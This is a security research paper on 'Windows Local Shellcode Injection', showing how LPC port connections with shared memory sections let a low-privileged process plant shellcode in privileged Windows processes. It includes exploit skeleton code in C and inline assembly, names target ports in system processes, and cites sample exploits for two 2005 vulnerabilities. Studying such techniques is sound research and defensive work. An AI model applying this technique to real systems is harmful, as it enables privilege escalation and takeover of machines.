WLSI
Windows Local Shellcode Injection

Author:
Cesar Cerrudo
(cesar>.at.<argeniss>.dot.<com)

Abstract:

This paper describes a new technique to create 100% reliable local exploits for Windows operating systems, the technique uses some Windows operating systems design weaknesses that allow low privileged processes to insert data on almost any Windows processes no matter if they are running under high privileges. We all know that local exploitation is much easier than remote exploitation but it has some difficulties. After a brief introduction and a description of the technique, a couple of samples will be provided so the reader will be able to write his/her own exploits.

Introduction:

When writing a local Windows exploit you can face many problems:
-Different return addresses:
    -Because different Windows versions.
    -Because different Windows service pack level.
    -Because different Windows languages.
-Limited space for shellcode.
-Null byte restrictions.
-Character set restrictions.
-Buffer overflows/exploits protections.
-Etc.

To bypass those restrictions an exploit has to use many different return addresses and/or techniques. After you finish reading this paper you won't have to worry any more about that because it will be very easy to write a 100% reliable exploit that will work on any Windows version, service pack level, language, etc. and could bypass buffer overflows/exploits protections since the code won't be executed from the stack nor the heap and it won't use a fixed return address.

This technique relies in the use of Windows LPC (Local/Lightweight Procedure Call), this is an inter-process communication mechanism, RPC (Remote Procedure Call) uses LPC as a transport for local communications. LPC allow processes to communicate by "messages" using LPC ports. LPC is not well documented and here won't be detailed but you can learn more at the links listed on references section. LPC ports are Windows objects, servers (processes) can create named LPC ports to which clients (processes) can connect by referencing their names. You can see processes LPC ports using Process Explorer from www.sysinternals.com, by selecting a process in the upper panel and then looking at the lower panel at the Type column, they are identified by the word Port, you can see the port name, handle and by double clicking you can see additional information like permissions, etc.
LPC is heavily used by Windows internals, also by OLE/COM, etc. this means that almost every Windows process has a LPC port. LPC ports can be protected by ACLs so sometimes a connection can not be established if the client process doesn't have proper permissions.

To use this technique we will need to use a couple of APIs that will be detailed below.

Establishing a connection to a LPC port:

In order to establish a connection to a LPC port the next native API NtConnectPort from Ntdll.dll is used.

```
NtConnectPort(
  OUT PHANDLE                          ClientPortHandle,
  IN PUNICODE_STRING                   ServerPortName,
  IN PSECURITY_QUALITY_OF_SERVICE      SecurityQos,
  IN OUT PLPCSECTIONINFO               ClientSharedMemory OPTIONAL,
  OUT PLPCSECTIONMAPINFO               ServerSharedMemory OPTIONAL,
  OUT PULONG                           MaximumMessageLength OPTIONAL,
  IN OUT PVOID                         ConnectionInfo OPTIONAL,
  IN OUT PULONG                        ConnectionInfoLength OPTIONAL );
```

ClientPortHandle: pointer to the port handle returned by the function.
ServerPortName: pointer to a UNICODE_STRING structure that holds the port name to which the function will connect to.
SecurityQos: pointer to a SECURITY_QUALITY_OF_SERVICE structure.
ClientSharedMemory: pointer to a LPCSECTIONINFO structure, used for shared section information.
ServerSharedMemory: pointer to a LPCSECTIONMAPINFO structure, used for shared section information.
MaximumMessageLength: pointer to maximum message size number returned by function.
ConnectionInfo: pointer to a buffer of message data, this data is sent and returned to and from LPC server.
ConnectionInfoLength: pointer to the length of message data.

There are others LPC APIs but they won't be detailed here because they won't be used by this technique, if you want to learn more look at the references section.

To establish a connection the most important values we have to supply are:
the LPC port name in an UNICODE_STRING structure:

```
typedef struct _UNICODE_STRING {
  USHORT  Length;                 //length of the unicode string
  USHORT  MaximumLength;          //length of the unicode string +2
  PWSTR  Buffer;                  //pointer to the unicode string
} UNICODE_STRING;
```

the LPCSECTIONINFO structure values:

```
typedef struct LpcSectionInfo {
      DWORD Length;                 //length of the structure
      HANDLE SectionHandle;         //handle to a shared section
      DWORD Param1;                 //not used
      DWORD SectionSize;            //size of the shared section
      DWORD ClientBaseAddress;      //returned by the function
      DWORD ServerBaseAddress;      //returned by the function
} LPCSECTIONINFO;
```

to fill this structure a shared section (see [1] for more info on shared sections) has to be created, this shared section will be mapped on both processes (the one which we are connecting from and the target process we are connecting to) after a successful connection.

On LPCSECTIONMAPINFO structure we only have to set the length of the structure:

```
typedef struct LpcSectionMapInfo{
      DWORD Length;                 //structure length
      DWORD SectionSize;
      DWORD ServerBaseAddress;
} LPCSECTIONMAPINFO;
```

SECURITY_QUALITY_OF_SERVICE structure can have any value, we don't have to worry about it:

```
typedef struct _SECURITY_QUALITY_OF_SERVICE {
   DWORD Length;
   SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
   DWORD ContextTrackingMode;
   DWORD  EffectiveOnly;
   } SECURITY_QUALITY_OF_SERVICE;
```

for ConnectionInfo data we can use a buffer with 100 null elements, ConnectionInfoLength should have the length of the buffer.

Creating a shared section:

For using this technique before a connection to a LPC port is established we need to create a shared section. To create a shared section the next native API NtCreateSection from Ntdll.dll is used.

```
NtCreateSection(

  OUT PHANDLE             SectionHandle,
  IN ULONG                DesiredAccess,
  IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,
  IN PLARGE_INTEGER       MaximumSize OPTIONAL,
  IN ULONG                PageAttributess,
  IN ULONG                SectionAttributes,
  IN HANDLE               FileHandle OPTIONAL );
```

SectionHandle: pointer to a section handle returned by the function.
DesiredAccess: specify the kind of access desired: read, write, execute, etc.
ObjectAttributes: pointer to a OBJECT_ATTRIBUTES structure.
MaximunSize: pointer to the size of the section when creating a shared memory section.
PageAttributes: memory page attributes: read, write, execute, etc.
SectionAttributes: section attributes depending on the kind of section to be created.
FileHandle: handle to a file when creating a file mapping.

We only have to care about the next parameters:
For DesiredAccess parameter we have to set what access to the section we want to have, we will need read and write access. On MaximunSize we have to set the size of the section we want, this can be any value but it should be enough to hold the data we will put later. For PageAttributes we have to set also read and write, finally for SectionAttributes we have to set it to committed memory.

The technique:

Now that we know the APIs needed to establish a LPC connection let's see how this technique works. As I said most Windows processes have LPC ports to which we can connect (if we have proper permissions), as you have seen on the NtConnectPort API parameters we can supply a shared section on one of the structures, this shared section will be mapped on both processes that are part of the communication, this is really good news, why this is so good? because it means that "all" the stuff we put on our process shared section will be instantly mapped on the

other process, this is really crazy we can inject any data (shellcode of course!!!) on any process we want no matter if the process is running with higher privileges than our process!. What is more amazing is that the address where the shared section is mapped at the target process will be returned by the function!!!, if you don't know yet why this is so good you should go and learn how to write exploits before continuing reading this :). Basically when exploiting a vulnerability using LPC we will be able to put shellcode on target process and we will know exactly were the shellcode is located, so we only have to make the vulnerable process to jump to that address and voila!, that's all.

For instance if you want to put code on smss.exe process you have to create a shared section, connect to \DbgSsApiPort LPC port, then put the code on the shared section and that code will be instantly mapped on smss.exe address space, or maybe you want to put code on services.exe process, do the same as described before but connecting to \RPC Control\DNSResolver LPC port.

This technique has the following pros:
- Windows language independent.
- Windows service pack level independent.
- Windows version independent.
- No shellcode size restrictions.
- No null byte restrictions, no need to encode.
- No character set restrictions.
- Bypass some exploit/overflow protections.
- Quick exploit development.

This technique has the following cons:
- Few processes haven't a LPC port, not very likely, most Windows processes have one.
- Couldn't work if the vulnerability is a buffer overflow caused by an ASCII string, because sometimes the server shared section address at the server process is 0x00XX0000, this is not very likely, most (if not all) buffer overflow vulnerabilities on Windows are caused by Unicode strings, also this problem can be solved by connecting multiple times to a LPC port until a good address is returned.

Building an exploit:

Basically an exploit using this technique will have to do the next:

- Create a shared section to be mapped on LPC connection.
- Connect to vulnerable process LPC port specifying the previously created shared section. After a successful connection two pointers to the shared section are returned, one for the shared section at client process and one for the server process.
- Copy shellcode to shared section mapped at client process. This shellcode will be instantly mapped on target process.
- Trigger the vulnerability making vulnerable process jump to the shared section where the shellcode is located. This is done by overwriting return addresses, pointers, etc. with the pointer to the server process shared section.

Let's see a simple sample exploit for a fictitious vulnerability on service XYZ where VulnerableFunction() takes a Unicode string buffer and sends it to XYZ service where the buffer length is not properly validated. While this sample is based on a buffer overflow vulnerability this technique is not limited to this kind of bugs, it can be used on any kind of vulnerabilities as you can see on the exploits available with this paper (see Sample Exploits).

The next code creates a committed shared memory section of 0x10000 bytes with all access

(read, write, execute, etc.) and with read and write page attributes:

-----Code begins------

```
HANDLE hSection=0;
LARGE_INTEGER SecSize;

SecSize.LowPart=0x10000;
SecSize.HighPart=0x0;

if(NtCreateSection(&hSection,SECTION_ALL_ACCESS,NULL,&SecSize,
   PAGE_READWRITE,SEC_COMMIT ,NULL))
        printf("Could not create shared section. \n");
```

-----Code ends------

The following code connects to a LPC Port named LPCPortName, passing the handle and size of a previously created shared section, this section will be mapped on both processes participating on the connection after a successful connection:

-----Code begins------

```
HANDLE hPort;
LPCSECTIONINFO sectionInfo;
LPCSECTIONMAPINFO mapInfo;
DWORD Size = sizeof(ConnectDataBuffer);
UNICODE_STRING uStr;
WCHAR  * uString=L"\\LPCPortName";
DWORD maxSize;
SECURITY_QUALITY_OF_SERVICE qos;
byte ConnectDataBuffer[0x100];

for (i=0;i<0x100;i++)
        ConnectDataBuffer[i]=0x0;

memset(&sectionInfo, 0, sizeof(sectionInfo));
memset(&mapInfo, 0, sizeof(mapInfo));

sectionInfo.Length = 0x18;
sectionInfo.SectionHandle =hSection;
sectionInfo.SectionSize = 0x10000;

mapInfo.Length = 0x0C;

uStr.Length = wcslen(uString)*2;
uStr.MaximumLength = wcslen(uString)*2+2;
uStr.Buffer =uString;

if (NtConnectPort(&hPort,&uStr,&qos,(DWORD *)&sectionInfo,(DWORD *)&mapInfo,
    &maxSize,(DWORD*)ConnectDataBuffer,&Size))
        printf("Could not connect to LPC port.\n");
```

-----Code ends------

After a successful connection pointers to the beginning of the mapped shared section on client process and the server process is returned on sectionInfo.ClientBaseAddress and sectionInfo.ServerBaseAddress respectively.

The next code copies the shellcode to the client mapped shared section:

-----Code begins------

```
_asm {
        pushad

        lea esi, Shellcode
        mov edi, sectionInfo.ClientBaseAddress
        add edi, 0x10          //avoid 0000
        lea ecx, End
        sub ecx, esi
        cld
        rep movsb

        jmp Done

Shellcode:

      //place your shellcode here

End:

Done:
        popad
}
```

-----Code ends------

The next code triggers the vulnerability making vulnerable process jump to the server mapped shared section:

-----Code begins------

```
 _asm{
        pushad

        lea ebx, [buffer+0xabc]
        mov eax,  sectionInfo.ServerBaseAddress
        add eax, 0x10    //avoid 0000
        mov [ebx], eax  //set pointer to server shared section to overwrite return address

        popad
 }

  VulnerableFunction(buffer); //trigger the vulnerability to get shellcode execution
```

-----Code ends------

Problems with LPC ports:

There are some problems when exploiting using LPC:

1. Some LPC port names are dynamic (ie: ports used by OLE/COM), this means that the name of the port changes all the time when it's created by a process.

2. A few LPC ports have strong ACL and won't let us to connect unless we have enough permissions.
3. Some LPC ports need some specific data to be passed on ConnectionInfo parameter in order to let us establish a connection.

To solve problem #1 we have 2 alternatives, the first one is to reverse engineering how LPC port names are resolved but this is very time consuming and I'm very lazy :) so we have the second alternative (the easy one ;)) which is to hook certain function to get the port name. When working with automation (OLE/COM) before connecting to the port the client process resolves the name of target server LPC port by some black magic, this is all done automatically by COM/OLE functionality, reverse engineering all this seems complicated, but what we can do is to hook the NtConnectPort API so we can get the target port name when the function tries to connect to the port. This method can be seen on one of the exploits available with this paper (see Sample Exploits).

Problem #2 seems impossible to solve, did I say impossible, sorry that word doesn't exist on hacker dictionary :), right now it seems it can't be solved but LPC is so obscure and I have seen some weird things on LPC that I'm not 100% sure. It's possible to connect indirectly to an LPC port "bypassing" permissions but it seems difficult to have a shared section created, I should go deep on this when I have some free time :).

Problem #3 can be easily solved by reverse engineering how the connection to the problematic port is established. Just debug, set a breakpoint on NtConnectPort API and look at parameters values and then try to use the same values on the exploit.

Sample Exploits:

To see this technique in action take a look at the exploits available with this paper:

- SSExploit2
  - MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047
- TapiExploit
  - MS05-040 - Telephony Service Vulnerability – CAN-2005-0058

Conclusion:

As you have seen it is very easy to build almost 100% reliable (I'm saying "almost" because not all vulnerabilities are easy to exploit and a few are complex to exploit in a reliable way) exploits by using this technique, building a simple local stack overflow multi language and service pack independent exploit will take you no more than 5-10 minutes, at least that was what it took me to build the local TAPI (MS05-040) exploit :)

Spam:

References:

[1]Hacking Windows Internals:
http://www.argeniss.com/research/hackwininter.zip

Undocumented Windows Functions:
http://undocumented.ntinternals.net

Windows NT/2000 Native API reference:
http://www.amazon.com/exec/obidos/tg/detail/-/1578701996/102-0709802-0324157
Local Procedure Call:
http://www.windowsitlibrary.com/Content/356/08/1.html

Various security vulnerabilities with LPC ports:
http://www.bindview.com/Services/razor/Advisories/2000/LPCAdvisory.cfm

Bypassing Windows Hardware-enforced Data Execution Prevention:
http://www.uninformed.org/?v=2&a=4&t=txt

About Argeniss

Argeniss is an information security company specialized on application security, we offer services such as vulnerability information, software auditing, penetration testing and training, also we offer exploits for widely deployed software.

Contact us

Corrientes 240
Parana, Entre Rios
Argentina

E-mail: info>.at.<argeniss>.dot.<com

Tel: +54-343-4231076
Fax: 1-801-4545614